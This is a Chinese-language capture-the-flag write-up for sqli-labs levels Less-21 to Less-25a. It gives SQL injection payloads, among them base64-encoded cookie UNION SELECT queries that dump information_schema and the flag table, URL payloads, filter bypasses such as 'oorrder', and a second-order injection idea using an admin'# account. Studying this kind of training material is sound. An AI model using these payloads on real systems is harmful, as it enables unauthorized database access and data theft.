登陆给我回显的数据是I LOVE YOU COOKIES。
这题看了网上的wp才知道原来是将我们的uname和passwd都进行base64编码,表示不知道怎么看出来的。
Cookie:uname=YWRtaW4=
尝试
Cookie= uname=admin'
Cookie= uname=YWRtaW4n
可以发现报错信息如下,通过报错信息可以知道,可以使用’)闭合,又因为前面有回显数据,所以判断可以使用联合查询
因为前面测得具有回显,所以采取union联合查询
流程为
Cookie: uname=admin') order by 3 #
转base64
Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzICM=
#用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #
转base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHNjaGVtYV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkgIw==
这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #
转base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKFRBQkxFX05BTUUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSBUQUJMRV9TQ0hFTUE9ImN0ZnRyYWluaW5nIiApICM=
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #
转base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAnZmxhZycpICM=
Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #
转base64
Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGZsYWcpIEZST00gY3RmdHJhaW5pbmcuZmxhZykgIw==
登陆给我回显的数据是I LOVE YOU COOKIES。
因为做完less21,所以直接尝试是不是对uname和passwd进行过base64
可以发现确实是对uname和passwd进行了base64加密
尝试
Cookie= uname=admin"
Cookie= uname=YWRtaW4i
可以发现报错信息如下,通过报错信息可以知道,可以使用双引号闭合,又因为前面有回显数据,所以判断可以使用联合查询
因为前面测得具有回显,所以采取union联合查询
流程同Less21
构造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1' or '1'='1
页面正常回显
payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1'and '1'='2
页面无数据显示
由此可以判断出:此处具有Sql注入漏洞
因为前面测得具有回显,所以采取union联合查询
这边发现使用–+或者#注释都会报错,从报错信息看应该是把他们都过滤了,所以这边使用or ‘1’='1闭合后面的单引号
后续详细联合查询可以参考Less1
看了网上的大概思路是注册一个用户名为admin’#的用户,然后登陆进去改密码的时候,后台的sql语句会自动构建出修改admin的密码的语句,达到修改admin密码的效果
这题我在buu平台上好像有点问题,所以这边没有能复现了。
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了#
构造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25/?id=1'
通过报错信息可以发现可以使用单引号闭合。
由此可以判断出:此处具有Sql注入漏洞
其实过滤掉or和and对我们注入并没有什么影响,因为我们不需要使用or闭合后面的单引号
找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后#可以使用–+替代
后续详细联合查询参考Less1
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了加号和#
构造payload
http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25a/?id=1 oorr '1'='1'
发现能正常显示,所以应该是数字型注入
找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后又用到or的地方都可以用oorr绕过
后续详细联合查询参考Less1